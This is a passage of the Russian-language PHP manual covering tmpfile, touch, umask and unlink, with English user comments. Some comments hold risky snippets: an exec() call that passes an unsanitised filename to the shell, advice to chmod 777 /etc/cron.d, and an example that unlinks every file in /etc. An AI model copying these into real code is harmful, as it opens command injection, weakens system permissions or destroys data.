Note that tempnam returns the full path to the temporary file, not just the filename.
Sebastian Kun 21-Jan-2005 01:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith 20-Jan-2005 11:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
anakin dot skyw at gmx dot de 04-Jul-2004 08:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop 30-Apr-2004 08:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
    // validate arguments
    if (! (isset($postfix) && is_string($postfix))) {
        return false;
    }
    if (! (isset($prefix) && is_string($prefix))) {
        return false;
    }
    if (! isset($dir)) {
        $dir = getcwd();
    }

    // find a temporary name
    $tries = 1;
    do {
        // get a known, unique temporary file name
        $sysFileName = tempnam($dir, $prefix);
        if ($sysFileName === false) {
            return false;
        }

        // tack on the extension
        $newFileName = $sysFileName . $postfix;
        if ($sysFileName == $newFileName) {
            return $sysFileName;
        }

        // move or point the created temporary file to the new filename
        // NOTE: these fail if the new file name exist
        $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
        if ($newFileCreated) {
            return $newFileName;
        }

        unlink ($sysFileName);
        $tries++;
    } while ($tries <= 5);

    return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
    return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
phpdoc at rickbradley dot com 25-Nov-2003 03:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
lreilly at lanl dot gov 28-Aug-2002 05:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly


Создаёт временный файл

  • « tempnam
  • touch »
  • PHP Manual
  • Функции файловой системы
  • Создаёт временный файл

tmpfile

(PHP 4, PHP 5, PHP 7, PHP 8)

tmpfile — Создаёт временный файл

Описание

tmpfile(): resource|false

Создаёт временный файл с уникальным именем, открывая его в режиме бинарного чтения и записи (w+b) и возвращает файловый указатель.

Этот файл автоматически удаляется после закрытия (например, путём вызова функции fclose() или если не осталось ни одной ссылки на указатель файла, возвращаемый tmpfile()), или при завершении работы скрипта.

Предостережение

Если скрипт неожиданно завершится, временный файл не может быть удалён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дескриптор файла, аналогичный тому, который возвращает функция fopen() для новых файлов или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции tmpfile()

<?php
$temp = tmpfile();
fwrite($temp, "записываем во временный файл");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // происходит удаление файла
?>

Результат выполнения данного примера:

записываем во временный файл

Смотрите также

  • tempnam() - Создаёт файл с уникальным именем
  • sys_get_temp_dir() - Возвращает путь к директории временных файлов

User Contributed Notes

divinity76 at gmail dot com 25-Feb-2020 05:11
at least on Windows 10 with php 7.3.7, and Debian Linux with php 7.4.2,

the mode is not (as the documentation states) 'w+' , it is 'w+b'

(an important distinction when working on Windows systems)
elm at gmail dot nospamplease dot com 27-Aug-2019 04:40
To get tmpfile contents:
<?php
  $tmpfile = tmpfile();
  $tmpfile_path = stream_get_meta_data($tmpfile)['uri'];
  // ... write to tmpfile ...
  $tmpfile_content = file_get_contents($tmpfile_path);
?>

Perhaps not the best way for production code, but good enough for logging or a quick var_dump() debug run.
bishop 27-Apr-2018 07:55
To get the underlying file path of a tmpfile file pointer:

<?php
$file = tmpfile();
$path = stream_get_meta_data($file)['uri']; // eg: /tmp/phpFx0513a
Anonymous 19-Oct-2016 03:19
Since this function may not be working in some environments, here is a simple workaround:

function temporaryFile($name, $content)
{
    $file = DIRECTORY_SEPARATOR .
            trim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) .
            DIRECTORY_SEPARATOR .
            ltrim($name, DIRECTORY_SEPARATOR);

    file_put_contents($file, $content);

    register_shutdown_function(function() use($file) {
        unlink($file);
    });

    return $file;
}
ssandor 22-Nov-2012 08:32
Beware that PHP's tmpfile is not an equivalent of unix' tmpfile.
PHP (at least v. 5.3.17/linux I'm using now) creates a file in /tmp with prefix "php", and deletes that file on fclose or script termination.
So, if you want to be sure that you don't leave garbage even in case of a fatal error, or killed process, you shouldn't rely on this function.
Use the classical method of deleting the file after creation:
<?php
$fn = tempnam ('/tmp', 'some-prefix-');
if ($fn)
  {
    $f = fopen ($fn, 'w+');
    unlink ($fn);  // even if fopen failed, because tempnam created the file
    if ($f)
      {
        do_something_with_file_handle ($f);
      }
  }
?>
oremanj at gmail dot com 08-Apr-2007 11:46
No, the fseek() is necessary - after writing to the file, the file pointer (I'll use "file pointer" to refer to the current position in the file, the thing you change with fseek()) is at the end of the file, and reading at the end of the file gives you EOF right away, which manifests itself as an empty upload.

Where you might be getting confused is in some systems' requirement that one seek or flush between reading and writing the same file.  fflush() satisfies that prerequisite, but it doesn't do anything about the file pointer, and in this case the file pointer needs moving.

-- Josh
chris [at] pureformsolutions [dot] com 04-Oct-2005 12:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
    # Upload setup.inc
    $fSetup = tmpfile();
    fwrite($fSetup,$setup);
    fseek($fSetup,0);
    if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
        echo "<br /><i>Setup file NOT inserted</i><br /><br />";
    }
    fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.


Устанавливает время доступа и модификации файла

  • « tmpfile
  • umask »
  • PHP Manual
  • Функции файловой системы
  • Устанавливает время доступа и модификации файла

touch

(PHP 4, PHP 5, PHP 7, PHP 8)

touch — Устанавливает время доступа и модификации файла

Описание

touch(string $filename, ?int $mtime = null, ?int $atime = null): bool

Пытается установить время доступа и модификации файла с именем filename в значение mtime. Обратите внимание, что время доступа изменяется всегда, независимо от количества аргументов.

Если файл не существует, он будет создан.

Список параметров

filename

Имя изменяемого файла.

mtime

Время изменения. Если аргумент mtime равен null, используется текущее системное время (time()).

atime

Если значение параметра не null, время доступа указанного файла будет установлено в значение atime. В обратном случае оно будет установлено в значение параметра mtime. Если же оба этих параметра равны null, то будет использовано текущее системное время.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр mtime и atime теперь допускают значение null.

Примеры

Пример #1 Пример использования функции touch()

<?php
if (touch($filename)) {
echo "Время модификации файла $filename было изменено на текущее";
} else {
echo "Простите, не удалось изменить время модификации файла ' . $filename;
}
?>

Пример #2 Использование touch() с параметром mtime

<?php
// Это время касания, установим его на час назад.
$time = time() - 3600;

// Изменяем файл
if (!touch('some_file.txt', $time)) {
echo 'Упс, что-то пошло не так...';
} else {
echo 'Изменение модификации файла прошло успешно';
}
?>

Примечания

Замечание:

Учтите, что обработка времени может отличаться в различных файловых системах.

User Contributed Notes

centurianii at yahoo dot co dot uk 17-Aug-2017 08:01
A better explanation:

For file $file and UNIX time stored in vars $access and $modified

- change only access time
\touch($file, \filemtime($file), $access);

- change only modified time
\touch($file, $modified, \fileatime($file));

- change both access and modified time
\touch($file, $modified, $access);

Seeing the results:

//use a session cookie stored in a custom folder
$file = '/var/www/test_com/session/sess_qfn587cudfpgsijm1bs4d81s75';
echo 'stats for sess_qfn587cudfpgsijm1bs4d81s75<br/>';
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';
echo 'change access to now, modified +1 hour<br/>';
\touch($x, \filemtime($file)+3600, time());
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';

Notice the double call to clearstatcache()!
csouth at xistins dot com 14-Dec-2014 08:41
An earlier comment referenced a code snippet that showed file_put_contents() was faster the touch for creating files. I re-ran the same tests on PHP 5.5.9 and this seems to no longer be the case.

<?php
$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    file_put_contents('dir/file'.$i, '');
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.6902809143066

$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    touch('dir/file'.$i);
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.3343770503998
?>
anon 10-Nov-2013 04:38
Note that when PHP is called by f.e. apache or nginx instead of directly from the command line, touch() will not prefix the location of the invoking script, so the supplied filename must contain an absolute path.

With script started from /home/user/www, this will not touch "/home/user/www/somefile":

<?php
    touch( 'somefile' );
?>

But this will:

<?php
    touch( __DIR__ . '/somefile' );
?>
bosslog at gmail dot com 08-Oct-2010 02:11
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch

<?php
for($i = 0; $i < 100; $i++)
{
     file_put_contents('dir/file'.$i, '');
}
?>
Average time: 0,1145s

<?php
for($i = 0; $i < 100; $i++)
{
     touch('dir/file'.$i);
}
?>
Average time: 0,2322s

So, file_put_contents is faster than touch, about two times.
chris dot dallaire at csquaredsystems dot com 09-Apr-2010 07:41
I needed to use this to touch the /etc/cron.d directory when I updated some files in there. I know the docs say this isn't necessary, but I'm finding that i need to do it in order form my changes to be picked up quickly.

I ran into the permissions error as well and I found that using chmod 777 /etc/cron.d does the trick.

So, you should be able to use the PHP touch function on a directory that has open write access.

Of course, this isn't the most secure approach, but in our application it's not a big deal for that folder to not be super secure.
ernst at cron-it dot de 29-Sep-2009 06:38
To touch a file without being owner, it is much easier:

<?php
function touchFile($file) {
  fclose(fopen($file, 'a'));
}
?>
info at archiwumrocka dot art dot pl 01-Dec-2008 01:59
Only way to change modification date in catalogue is to create file in via touch() and dalete it with unlink():

<?php
$dir    = 'temp';
$files1 = scandir($dir);

$files1 = array_slice($files1, 2);

foreach ($files1 as $key => $val)
{
    if (!is_dir($val)) continue;
    if (!touch($val))
    {
        touch($val . "/plik.txt");
        unlink($val . "/plik.txt");
    }
}
?>
mrgrier at yahoo dot com 29-Nov-2008 10:29
At least on Linux, touch will not change the time on a symlink itself, but on the file/directory it points to. The only way to work around this is to unlink the symlink, then recreate it.

It took a bit of searching to discover this. The OS itself provides no way to do it. Many people wondered why anyone would want to do this. I use symlinks inside a web tree to point to files outside the web tree. After a certain length of time has passed, I want the symlinks to die, so the files cannot be successfully hotlinked.
ddalex at gmail dot com 03-Nov-2008 09:25
Actually, Glen is right, PHP won't touch if it is not the current owner of the file, even if the directory and files are writeable by the PHP user.
Radon8472 08-Aug-2008 05:07
Important info:

touch() used on a directory always returns FALSE and prints "Permission denied" on NTFS and FAT Filesystem (tested on winXP).
Jeff 26-Jun-2008 12:29
I've been trying to set a filemtime into the future with touch() on PHP5.

It seems touch $time has a future limit around 1000000 seconds (11 days or so). Beyond this point it reverts to a previous $time.

It doesn't make much sense but I could save you hours of time.

$time = time()+1500000;
touch($cachedfile,$time);
Glen 18-Oct-2007 01:01
In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work.

I simple alternative (on unix):

<?php

    function touch_it_good($filename)
    {
        exec("touch {$filename}");
    }
?>
Charles Belov 18-Jul-2006 06:10
Update the access time without updating the modified time:

Unix command: touch -a filename

PHP: touch(filename, date('U', filemtime(filename)), time())
spam at webmastersguide dot com 01-Sep-2005 05:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk 25-Jul-2005 12:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com 12-May-2005 03:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

    $target_file = "/path/to/file/filename.txt"; //system filepath to your file
    $file_content = implode("",file($target_file));
    @unlink($target_file);
    if($savetofile = fopen($target_file, "w")) {
        fputs($savetofile, $file_content);
        fclose($savetofile);
    }
    $new_date = strtotime("23 April 2005"); // set the required date timestamp here
    touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com 13-Aug-2002 03:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
    $test = Array();
    $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
    if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
        echo $filelist[$i]."\r\n";
    }
    clearstatcache();
}
function list_dir($dn){
    if($dn[strlen($dn)-1] != '\\') $dn.='\\';
    static $ra = array();
    $handle = opendir($dn);
    while($fn = readdir($handle)){
        if($fn == '.' || $fn == '..') continue;
        if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
        else $ra[] = $dn.$fn;
    }
    closedir($handle);
    return $ra;
}


Изменяет текущую umask

  • « touch
  • unlink »
  • PHP Manual
  • Функции файловой системы
  • Изменяет текущую umask

umask

(PHP 4, PHP 5, PHP 7, PHP 8)

umask — Изменяет текущую umask

Описание

umask(?int $mask = null): int

umask() устанавливает PHP umask в значение mask & 0777 и возвращает старую umask. Если PHP используется в качестве серверного модуля, umask будет восстанавливаться после окончания каждого запроса.

Список параметров

mask

Новая umask.

Возвращаемые значения

Если параметр mask равен null, функция umask() просто возвращает текущую umask, в противном случае возвращается старая umask.

Список изменений

Версия | Описание
8.0.0 | Параметр mask теперь допускает значение null.

Примеры

Пример #1 Пример использования umask()

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

// Проверка
if ($old != umask()) {
die('При восстановлении umask произошла ошибка');
}
?>

Примечания

Замечание:

Избегайте использования этой функции в многопоточных веб-серверах. Лучше изменить права файла с помощью функции chmod() после его создания. Использование umask() может привести к неожиданному поведению одновременно работающих скриптов и самого веб-сервера, т.к. они все будут использовать одну и ту же umask.

User Contributed Notes

ahmad dot mayahi at gmail dot com 14-Mar-2017 10:27
Simply umask means the default permissions for new files/directories:

<?php
umask(022);
?>

This sets the default permissions for user, groups, and others respectively:

• 0 - read, write and execute
• 1 - read and write
• 2 - read and execute
• 3 - read only
• 4 - write and execute
• 5 - write only
• 6 - execute only
• 7 - no permissions
malcolm.murphy 21-Jun-2016 11:09
Clarification Of "mask & 0777":

The manual's comment "umask() sets PHP's umask to mask & 0777 [...]" is merely implying that the method only affects file permissions, but not special modes such as the setuid, setgid or sticky bits. Curiously, PHP does not actually perform the bitwise operation itself, but instead assumes it will be done by a system call of the same name. On some systems such as OS X, umask effectively sets the umask as mask & 07777, but the extraneous bits are not applicable to subsequent PHP calls like mkdir(). Linux's umask does use 0777. Its manual entry has a comment similar to the PHP one, but with a parenthetical statement that helps explain what it means:

"umask() sets the calling process's file mode creation mask (umask) to mask & 0777 (i.e., only the file permission bits of mask are used) [...]"

The fact that permissions can be determined by inverting a mask using the operation $mask & ~0777 is irrelevant, despite its similar appearance to $mask & 0777. The latter operation instead truncates $mask to the first nine low-order bits (i.e., the three rightmost octal digits [and note that the leading zero for octal notation is not itself a digit]). It does not change the remaining bits.

For example, all of the following calls have the same effect: umask(0022), umask(07022), umask(261650) (decimal value of 0777022), and umask(0b111000010010) (binary notation for 07022).
Richard Snell 04-Sep-2015 02:52
It is important to note that the mask parameter will accept values other than octal and that this can cause unexpected results.

Setting umask(22) could be expected to reduce a file with default 0666 permission to 0644 by applying a mask of 0022 but as the parameter is being supplied as a decimal it will be converted to octal silently and actually apply a mask of 0026 resulting in a final file permission of 0642.

Similarly the value returned by umask is in decimal format. If you correctly apply a mask using umask(0022) and then query the new setting with umask() it will return a value of 18 (0022 octal is 18 decimal).

In short, when applying permissions it is best to pad the supplied value with zeros to create an octal value (22 becomes 0022) and if you want to analyze the returned value remember to convert it to octal for ease of interpretation.
neon at neonjs dot com 30-Jul-2011 07:19
In case you don't understand why you need to "Avoid using this function in multithreaded webservers":

It's because this function changes the umask at the process level, rather than only for PHP or for the current script.  If there are multiple simultaneous threads running in the process in which your PHP script is running, the change will apply to all of those threads at the same time hence why this is not safe for multithreaded use.

I understand that if you are using the PHP module and Apache's prefork MPM, which is not multi-threaded, then you at least won't get race-condition problems such as this.  However, it is still worth noting that the umask setting, if not re-set, will persist for the life of that process even if the process is re-used to serve future PHP or non-PHP requests.
bishop 30-Sep-2010 06:01
"It is better to change the file permissions with chmod() after creating the file."

If you take that advice seriously, consider setting your umask so that files are created private to your user, then use chmod to open them up.

<?php
// files will create as -rw-------
umask(0077);

// create a file, eg fopen()

// give access: -rw-r--r--
chmod('/path/to/file', 0644);
?>

Whenever reasonable, default to shut and open as needed (like above) instead of default to open and shut as needed.  The above still has a race condition, but the race condition will deny appropriate access instead of granting inappropriate access.
webmaster at iacomputing dot co dot uk 28-Sep-2010 04:24
You can use umask to solve the PHP session bug that appears in several PHP versions.

<?php
umask(0022);
session_start();
?>

This will prevent sessions being created with inadequate permissions.
librodot at ciberpiula dot net 17-Jun-2009 04:54
I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions.

umask sets which permissions must be removed from the system default when you create a file or a directory.

For example, a mask 0022 means that you don't want group and others modify the file.

default 0666 rw-.rw-.rw-
umask   0022 ---.-w-.-w-
Final   0644 rw-.r--.r--

That means that any file from now on will have 0644 permissions.

It is important to understand that umask revokes, deletes permissions from system default, so it can?t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod.

Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories.

Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022
jphansen at uga dot edu 04-Mar-2008 06:45
On most UNIX environments the recommended default umask for files, defined in /home/user/.profile or /etc/profile, is 022 (chmod: 644). On trusted systems it is 002. Exercise caution when applying more liberal settings.
maulwuff at gmx dot de 18-Sep-2007 03:44
umask takes away the given values from the standard mask 777.
A graphical view shows this better:

standard:
rwxrwxrwx = 777
will get with umask 002:
rwxrwxr-x  = 775
or will get with umask 077:
rwx------ = 700

and so on.
sean at awesomeplay dot com 30-May-2007 09:48
"It is better to change the file permissions with chmod() after creating the file."

The usual lacking of security knowledge within the PHP team rears its head once again.  You *always* want to have the file created with the proper permission.  Let me illustrate why:

(a) you create new file with read permissions
(b) an attacking script opens the file
(c) you chmod the file to remove read permissions
(d) you write sensitive data to the file

Now, you might think that the changes of an attacking script getting to open the file before you chmod them are low.  And you're right.  But low changes are never low enough - you want zero chance.

When creating a file that needs increased permissions, you always need to create the file with the proper permissions, and also create it with O_EXCL set.  If you don't do an exclusive create, you end up with this scenario:

(a) attacker creates the file, makes it writable to everyone
(b) you open the file with restricted permissions, but since it already exists, the file is merely opened and the permissions left alone
(c) you write sensitive data into the insecure file

Detecting the latter scenario is possible, but it requires a bit of work.  You have to check that the file's owner and group match the script's (that is, posix_geteuid(), not myuid()) and check the permissions - if any of those are incorrect, then the file is insecure - you can attempt to unlink() it and try again while logging a warning, of course.

The only time when it is reasonable or safe to chmod() a file after creating it is when you want to grant extra permissions instead of removing them.  For example, it is completely safe to set the umask to 0077 and then chmoding the files you create afterward.

Doing truly secure programming in PHP is difficult as is, and advice like this in the documentation just makes things worse.  Remember, kids, anything that applies to security in the C or UNIX worlds is 100% applicable to PHP.  The best thing you can possibly do for yourself as a PHP programmer is to learn and understand secure C and UNIX programming techniques.
ShaD@TW 16-May-2006 09:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');   //- 0006
mkdir("/path/dir");             //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);   //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);   //- OK
?>

If there was any mistake, please correct my statement.
18-Feb-2006 08:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org 03-Mar-2005 02:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
sam at totallydigital dot co dot nz 19-Sep-2002 09:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764


Удаляет файл

  • « umask
  • Inotify »
  • PHP Manual
  • Функции файловой системы
  • Удаляет файл

unlink

(PHP 4, PHP 5, PHP 7, PHP 8)

unlink — Удаляет файл

Описание

unlink(string $filename, ?resource $context = null): bool

Удаляет файл filename. Функция похожа на функцию unlink() Unix в C. При неудачном выполнении будет вызвана ошибка уровня E_WARNING.

Список параметров

filename

Путь к файлу.

Если файл является символической ссылкой, символическая ссылка будет удалена. В Windows для удаления символической ссылки на каталог вместо этого должна использоваться функция rmdir().

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.3.0 | В Windows теперь можно удалить файлы функцией unlink() с использованием дескрипторов, хотя раньше это не удавалось. Тем не менее, всё ещё невозможно повторно создать удалённый файл, пока все дескрипторы к нему не будут закрыты.

Примеры

Пример #1 Пример простого использования unlink()

<?php
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Привет, мир!</h1>');
fclose($fh);

unlink('test.html');
?>

Смотрите также

  • rmdir() - Удаляет директорию

User Contributed Notes

divinity76+spam at gmail dot com 09-Aug-2022 02:59
if you're looking for a recursive unlink:
<?php

/**
 * delete a file or directory
 * automatically traversing directories if needed.
 * PS: has not been tested with self-referencing symlink shenanigans, that might cause a infinite recursion, i don't know.
 *
 * @param string $cmd
 * @throws \RuntimeException if unlink fails
 * @throws \RuntimeException if rmdir fails
 * @return void
 */
function unlinkRecursive(string $path, bool $verbose = false): void
{
    if (!is_readable($path)) {
        return;
    }
    if (is_file($path)) {
        if ($verbose) {
            echo "unlink: {$path}\n";
        }
        if (!unlink($path)) {
            throw new \RuntimeException("Failed to unlink {$path}: " . var_export(error_get_last(), true));
        }
        return;
    }
    $foldersToDelete = array();
    $filesToDelete = array();
    // we should scan the entire directory before traversing deeper, to not have open handles to each directory:
    // on very large director trees you can actually get OS-errors if you have too many open directory handles.
    foreach (new DirectoryIterator($path) as $fileInfo) {
        if ($fileInfo->isDot()) {
            continue;
        }
        if ($fileInfo->isDir()) {
            $foldersToDelete[] = $fileInfo->getRealPath();
        } else {
            $filesToDelete[] = $fileInfo->getRealPath();
        }
    }
    unset($fileInfo); // free file handle
    foreach ($foldersToDelete as $folder) {
        unlinkRecursive($folder, $verbose);
    }
    foreach ($filesToDelete as $file) {
        if ($verbose) {
            echo "unlink: {$file}\n";
        }
        if (!unlink($file)) {
            throw new \RuntimeException("Failed to unlink {$file}: " . var_export(error_get_last(), true));
        }
    }
    if ($verbose) {
        echo "rmdir: {$path}\n";
    }
    if (!rmdir($path)) {
        throw new \RuntimeException("Failed to rmdir {$path}: " . var_export(error_get_last(), true));
    }
}
?>
Keatran 01-Jul-2020 07:41
unlink works the same as the rm command on nix based loses or del command on windows, it will not resolve the file but remove the exact path given even if that path is just a link.

E.G
/var/www/test/index.php = symlink(/home/test/www/index.php)
<?php
unlink("/var/www/test/index.php");
?>
Will just delete the link, not the original file where as
<?php
unlink("/home/test/www/index.php");
?>
Will unlink the original file path and break the symlink, and allow the system to overwrite as the filesystem will not know of the file's location anymore.
llmll at gmx dot de 11-Apr-2015 09:53
On OSX, when fighting against a "Permission Denied" error, make sure, the directory has WRITE permissions for the executing php-user.

Furthermore, if you rely on ACLs, and want to delete a file or symlink, the containing directory needs to have "delete_child" permission in order to unlink things inside. If you only grant "delete" to the folder that will allow you to delete the container folder itself, but not the objects inside.
Eric 11-Aug-2014 02:17
This might seem obvious, but I was tearing my hair out with this problem - make sure the file you're trying to delete isn't currently being used. I had a script that was parsing a text file and was supposed to delete it after completing, but kept getting a permission denied error because I hadn't explicitly closed the file, hence it was technically still being "used" even though the parsing was complete.
deen804 at gmail dot com 10-Dec-2013 06:14
unlink($fileName); failed for me .
Then i tried using the realpath($fileName)  function as
unlink(realpath($fileName)); it worked

just posting it , in case if any one finds it useful .
Alex, the Marrch Ca&#39;at 26-Jun-2013 04:22
The best way to delete files by mask is as follows:
<?php
array_walk(glob('/etc/*'), 'unlink');
?>
Do not use array_map mentioned below - it's purpose is to process values in a given array AND COLLECT data returned by the callback function. So, array_map is slower and uses additional memory compared to array_walk.
anagai at yahoo dot com 06-Sep-2012 07:47
This will delete all files in a directory matching a pattern in one line of code.

<?php array_map('unlink', glob("some/dir/*.txt")); ?>
dexen dot devries at gmail dot com 31-Dec-2010 01:28
Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS?

The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''.

Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case.

However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed.

The caveat:
A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process...
federico at poisonfx dot com 06-Dec-2010 02:55
Here the simplest way to delete files with mask

<?php
   $mask = "*.jpg"
   array_map( "unlink", glob( $mask ) );
?>
gotdalife at gmail dot com 25-Sep-2008 07:04
To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../").

So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located.

<?php
    $old = getcwd(); // Save the current directory
    chdir($path_to_file);
    unlink($filename);
    chdir($old); // Restore the old working directory
?>
PD 06-Aug-2008 05:07
I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead.

Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file.

Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :)

So I thought of mentoining this here, to avoid others of making the same mistake:

<?php
// First close the file
fclose($fp);

// Then unlink :)
unlink($somefile);
?>
chris at vibenewmedia dot com 14-Sep-2004 10:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

